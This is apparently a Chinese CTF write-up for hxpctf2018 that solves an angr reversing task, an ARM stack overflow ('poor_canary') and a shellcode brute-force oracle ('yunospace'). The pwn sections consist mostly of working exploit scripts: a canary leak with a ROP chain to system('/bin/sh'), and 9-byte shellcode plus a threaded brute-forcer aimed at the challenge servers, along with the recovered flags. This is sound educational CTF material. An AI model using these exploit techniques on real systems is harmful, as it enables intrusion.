【题解】hxpctf2018-pwn

HXPCTF2018 - PWN/Rev

这次CTF做了2个PWN,一个简单REV。算是找回了一些信心。

这次比赛中第一次遇到arm架构的题目,虽然只是栈溢出,但是搭建环境和调试花费了一些时间,并且使用qemu进行调试的步骤也需要记录一下。

解出题目的题解如下:

angrme

这是个reverse,因为之前用过angr,就顺便写了。

angr的套路不必多说,只要程序打印 :) 就说明输入对了。直接上脚本。

中间出了点小插曲,因为程序中使用了一些特殊的指令movaps [rsp+1C0h+var_180], xmm0 ,直接上angr崩了。google了之后,好像是因为要求RSP 0x10对齐。所以patch了一下程序,在main函数开始的地方 sub rsp, xxx修改成了0x190。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import angr

def main():
path = './angrme'
proj = angr.Project(path)

proj.arch.initial_sp -= 8
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)

find_address = 0x400000 + 0x2370
avoid_address = 0x400000 + 0x2390
simgr.explore(find=find_address, avoid=avoid_address)

if simgr.found:
solution_state = simgr.found[0]
print repr(solution_state.posix.dumps(0))
'''
elif simgr.errored:
errored = simgr.errored[0]
print("Errored: %s" % (errored.error,))
state = errored.state
print("rip: %s" % (state.regs.rip))
print("rsp: %s" % (state.regs.rsp))
print("rbp: %s" % (state.regs.rbp))
proj.factory.block(state.solver.eval(state.regs.rip)).pp()
print("")
'''
else:
raise Exception('Couldn\'t find the solution')


if __name__ == '__main__':
main()

poor_canary

漏洞分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // r2
signed int v4; // r0
int v5; // r0
char v7; // [sp+4h] [bp-3Ch]
char v8; // [sp+30h] [bp-10h]

setbuf(stdout, 0, envp);
setbuf(stdin, 0, v3);
puts(465532); //由于是arm架构,反汇编有一些异常,但是并不影响阅读
while ( 1 )
{
printf(465564);
v4 = read(0, &v7, 0x60u);
if ( v4 <= 0 )
break;
v5 = v4 - 1;
if ( *(&v8 + v5 - 44) == 10 )
{
*(&v8 + v5 - 44) = 0;
if ( !v5 )
break;
}
puts(&v7);
}
return 0;
}

很明显,看到read函数造成栈溢出。利用read函数不添加\x00的特性,泄露出canary,再利用ROPGadget 跳转到system函数即可。

很神奇,原来ROPGadget对arm架构的ELF也可以使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lzh@ubuntu:~/workspace/pwn/hxpctf/poor_canary$ ROPgadget --binary canary --only "pop|ret"
Gadgets information
============================================================
0x00026b7c : pop {r0, r4, pc}
0x0006f088 : pop {r1, pc}
0x00010160 : pop {r3, pc}
0x00010480 : pop {r4, pc}
0x0005d4dc : pop {r4, pc} ; pop {r4, pc}
0x0001058c : pop {r4, r5, pc}
0x000111a8 : pop {r4, r5, r6, pc}
0x00016888 : pop {r4, r5, r6, r7, pc}
0x00010314 : pop {r4, r5, r7, pc}
0x0001b4dc : pop {r4, r6, r7, pc}
0x000231e8 : pop {r4, r7, pc}
0x0002a454 : pop {r7, pc}

Unique gadgets found: 12

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding:utf-8 -*-
from pwn import *
context.arch = 'arm'
context.os = 'linux'
context.log_level = 'debug'
BIN_PATH = './canary'
#LIBC_PATH = 'libc.so.6'

DEBUG = 1
if DEBUG == 1:
p = process(BIN_PATH)#, env={'LD_PRELOAD': LIBC_PATH})
#gdb.attach(p)
else:
p = remote('116.203.30.62', 18113)


elf = ELF(BIN_PATH)
#libc = ELF(LIBC_PATH)

# 0x00026b7c : pop {r0, r4, pc}
system_addr = 0x16D90
binsh_addr = 0x71eb0

p.recvuntil('>')
p.send('a'*(0x10-4+1)+'hack')
p.recvuntil('hack')
canary = u32('\x00' + p.recv(3))
print hex(canary)

p.recvuntil('>')
p.send('a'*(0x10) + p32(canary) + p32(0)*5 + p32(canary) + p32(0)*3 + p32(0x00026b7c) + p32(binsh_addr) + p32(0) + p32(system_addr))

p.recvuntil('>')
p.send('\n')
p.interactive()

'''
0xfffef514 ◂— 0x50111c00
06:0018│ 0xfffef518 —▸ 0x98548 —▸ 0xfffef69c —▸ 0xfffef7af ◂— 0x5353454c ('LESS')
07:001c│ 0xfffef51c —▸ 0x10d24 ◂— asrs sb, sb, #2
08:0020│ 0xfffef520 —▸ 0x10cbc ◂— push {r4, r5, r6, r7, r8, sb, sl, lr}
09:0024│ 0xfffef524 —▸ 0x10158 ◂— push {r3, lr}
0a:0028│ 0xfffef528 ◂— 0x0
0b:002c│ 0xfffef52c ◂— 0x50111c00
0c:0030│ 0xfffef530 ◂— 0x0
0d:0034│ 0xfffef534 —▸ 0xfffef558 ◂— 0x2ae90330
0e:0038│ 0xfffef538 —▸ 0x10158 ◂— push {r3, lr}
0f:003c│ 0xfffef53c —▸ 0x10844 ◂— bl #0x16040
10:0040│ 0xfffef540 ◂— 0x0
11:0044│ 0xfffef544 ◂— 0x1
12:0048│ 0xfffef548 —▸ 0xfffef694 —▸ 0xfffef7a6 ◂— './canary'
13:004c│ 0xfffef54c —▸ 0x104b8 ◂— push {r4, r5, lr}


/*
set architecture arm
target remote localhost:10011

b *0x10530
b *0x1056C
*/

'''

搭建qemu环境的过程单独mark。(使用qemu调试很烦)

yunospace

很有意思的一个题,写出来也很有成就感

漏洞分析:

有一个外层脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3 -u

import sys, os, base64

FLAG = "hxp{find_the_flag_on_the_server_here}"
... ...
print("> Welcome. Which byte should we prepare for you today?")

try:
n = int(sys.stdin.readline())
except:
print("> I did not get what you mean, sorry.")
sys.exit(-1)

if n >= len(FLAG):
print("> That's beyond my capabilities. Goodbye.")
sys.exit(-1)

print("> Ok. Now your shellcode, please.")

os.execve("./yunospace", ["./yunospace", FLAG[n]], dict())

我们可以通过交互,来执行程序 ./yunospace,并将1Byte的flag作为命令行参数传入程序。

我们再来看程序是如何使用这1Byte的flag的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void __fastcall main(int a1, char **a2, char **a3)
{
char *arg1_; // rbx
char *arg1; // r12
signed __int64 v5; // rcx
char *arg1__; // rdi
bool v7; // zf
int v8; // eax
size_t v9; // rbx
__int64 v10; // rcx
char *v11; // r13
FILE *v12; // rdi
int v13; // eax
void *rand; // [rsp+0h] [rbp-38h]
void *addr; // [rsp+8h] [rbp-30h]

rand = 0LL;
addr = 0LL;
setbuf(stdout, 0LL);
if ( a1 == 2 ) // 如果是两个命令行参数
{
arg1_ = a2[1];
arg1 = strdup(arg1_);
v5 = -1LL;
arg1__ = arg1;
do
{
if ( !v5 )
break;
v7 = *arg1__++ == 0;
--v5;
}
while ( !v7 );
if ( v5 == -3 )
{
*arg1_ = 0;
if ( getrandom((__int64)&rand, 6LL, 0LL) == 6 && getrandom((__int64)&addr, 6LL, 0LL) == 6 )
{
v8 = getpagesize();
v9 = v8;
v10 = -v8;
rand = (void *)(v10 & (unsigned __int64)rand & 0xFFFF7FFFFFFFFFFFLL);
addr = (void *)(v10 & (unsigned __int64)addr & 0xFFFF7FFFFFFFFFFFLL);
if ( mmap(rand, v8, 3, 34, -1, 0LL) != (void *)-1LL && mmap(addr, v9, 3, 34, -1, 0LL) != (void *)-1LL )
{
*(_WORD *)rand = -16335;
v11 = (char *)rand;
v12 = stdin;
*((_BYTE *)rand + 11) = *arg1;
v13 = fileno(v12);
read(v13, v11 + 2, 9uLL);
mprotect(rand, v9, 5);
JUMPOUT(__CS__, rand);
}
}
}
}
puts(":(");
_exit(-1);
}

简单来说,程序用mmap分配了两个随机的地址空间,一个用来放写入的机器码,一个用来作为栈空间(为了防止栈中的信息泄漏)

然后程序允许我们写入9Byte的机器码,并执行这9Byte。但是注意,1Byte的flag被写入到9Byte的机器码之后了 *((_BYTE *)rand + 11) = *arg1; 所以我们如果能写入机器码把这1Byte用某种方式确定出来,就可以获得flag。

然而出题人是个狠人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000000009CA                 xor     rax, rax
.text:00000000000009CD xor rcx, rcx
.text:00000000000009D0 xor rdx, rdx
.text:00000000000009D3 xor rbx, rbx
.text:00000000000009D6 xor rbp, rbp
.text:00000000000009D9 xor rsi, rsi
.text:00000000000009DC xor rdi, rdi
.text:00000000000009DF xor r8, r8
.text:00000000000009E2 xor r9, r9
.text:00000000000009E5 xor r10, r10
.text:00000000000009E8 xor r11, r11
.text:00000000000009EB xor r12, r12
.text:00000000000009EE xor r13, r13
.text:00000000000009F1 xor r14, r14
.text:00000000000009F4 xor r15, r15
.text:00000000000009F7 pop rax
.text:00000000000009F8 pop rsp
.text:00000000000009F9 jmp rax

在跳转到用户输入的code执行之前,清空了所有寄存器,并把esp也指向了分配的随机空间。也就是说我们拿不到任何地址信息,也无法调用函数

1545374656272

如上图,我写入了9Byte nop指令,可以看到,在跳转到我们写入的code之前,所有寄存器都已经清零,且跳转之后RAX也清零。RSP指向的是mmap分配的随机区域。

1545374793589

我们可以看到,写入的9个 0x90之后,有一个字节0x66。这一个字节就是flag。我们要想办法确定该字节的值。

我的思路是:先拿到RIP的地址,然后通过类似 mov al, BYTE PTR[RIP+xx] 的方式将flag读入寄存器。

第一个问题是:1Byte的flag读入寄存器之后,如何向外反馈?想起来很久以前听杨栩翔说他听鸡哥说的利用 cmp al, bl ,如果相等就用jmp xxx进入死循环,如果不相等就让程序直接崩掉。通过检测程序是否存活来判断该1Byte的flag是什么。总之就是要爆破。

第二个问题是:所有涉及到 RIP的指令,指令长度都暴增… 类似刚才的指令就需要5Byte,后续的工作没法进行了。这个卡了我很久。后来我尝试有没有什么能用的系统调用。后来发现,如果调用了系统调用,RCX会保存下一条要执行的指令(即RIP的值)。而且syscall 指令只需要2Byte。

据此,写入的code如下:

1
2
3
4
5
syscall
p:
mov al, [rcx+7]
cmp al, 0xaa
je p

0xaa表示的是flag的值。我遍历尝试所有的可见字符,如果在某个字符处程序进入了死循环而没有崩溃,就说明本次尝试的字符是对的。

调试脚本花费了很多时间,因为太慢又加了线程。

利用脚本:

注:explode(num, idx) 表示要尝试的字符ascii是num,测试的是flag的第idx个字节

expb(idx) 表示爆破flag的第idx个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import threading

context(arch='amd64', os='linux')
#context.log_level = 'debug'

def explode(num, idx):
# p = process(argv=["./yunospace_p", 'f'])
p = remote('195.201.127.119', 8664)
p.sendlineafter('for you today?', str(idx))
p.recvuntil('please.')
#code = '''
#syscall
#p:
#mov al, [rcx+7]
#cmp al, {}
#je p
#'''.format(hex(num))
asmcode = '\x0f\x05\x8aA\x07<'+chr(num)+'t\xf9'

p.send(asmcode)
try:
p.recvline()
print p.recv(timeout=1.5)
except EOFError:
ret = 'EEE'
else:
ret = chr(num)
p.close()
return ret

flag = ['\x00']*100
def expb(idx):
for c in range(32, 127):
ret = explode(c, idx)
if ret != 'EEE':
# flag[idx] = ret
flag[idx] = ret
print ret
return ret
print '*'
return '*'


MAX = 58
fp = open('flag.txt', 'w')
threads = []
for i in range(0, MAX):
t = threading.Thread(target=expb,args=(i,))
threads.append(t)

for i in range(0, MAX):
threads[i].start()

for i in range(0, MAX):
threads[i].join()
print flag

print ''.join(flag)

fp.close()

最后爆破出来的结果如下:

1
2
3
4
'''
['h', 'x', 'p', '\x00', '\x00', '0', 'u', '_', 'w', '0', 'u', 'l', 'd', 'n', 't', '_', 'b', '3', 'l', '1', '3', 'v', '3', '_', 'h', '0', 'w', '_', 'm', '4', 'n', '\x00', '_', '3', 'm', 'u', 'l', 'a', 't', '0', 'r', 's', '_', 'g', '0', 't', '_', 't', 'h', '1', 's', '_', 'w', 'r', '0', 'n', 'g',
'''
# hxp{*0u_w0uldnt_b3l13v3_h0w_m4n*_3mulat0rs_g0t_th1s_wr0ng}

大概猜了一下,*的地方应该是y,试了一下就过了。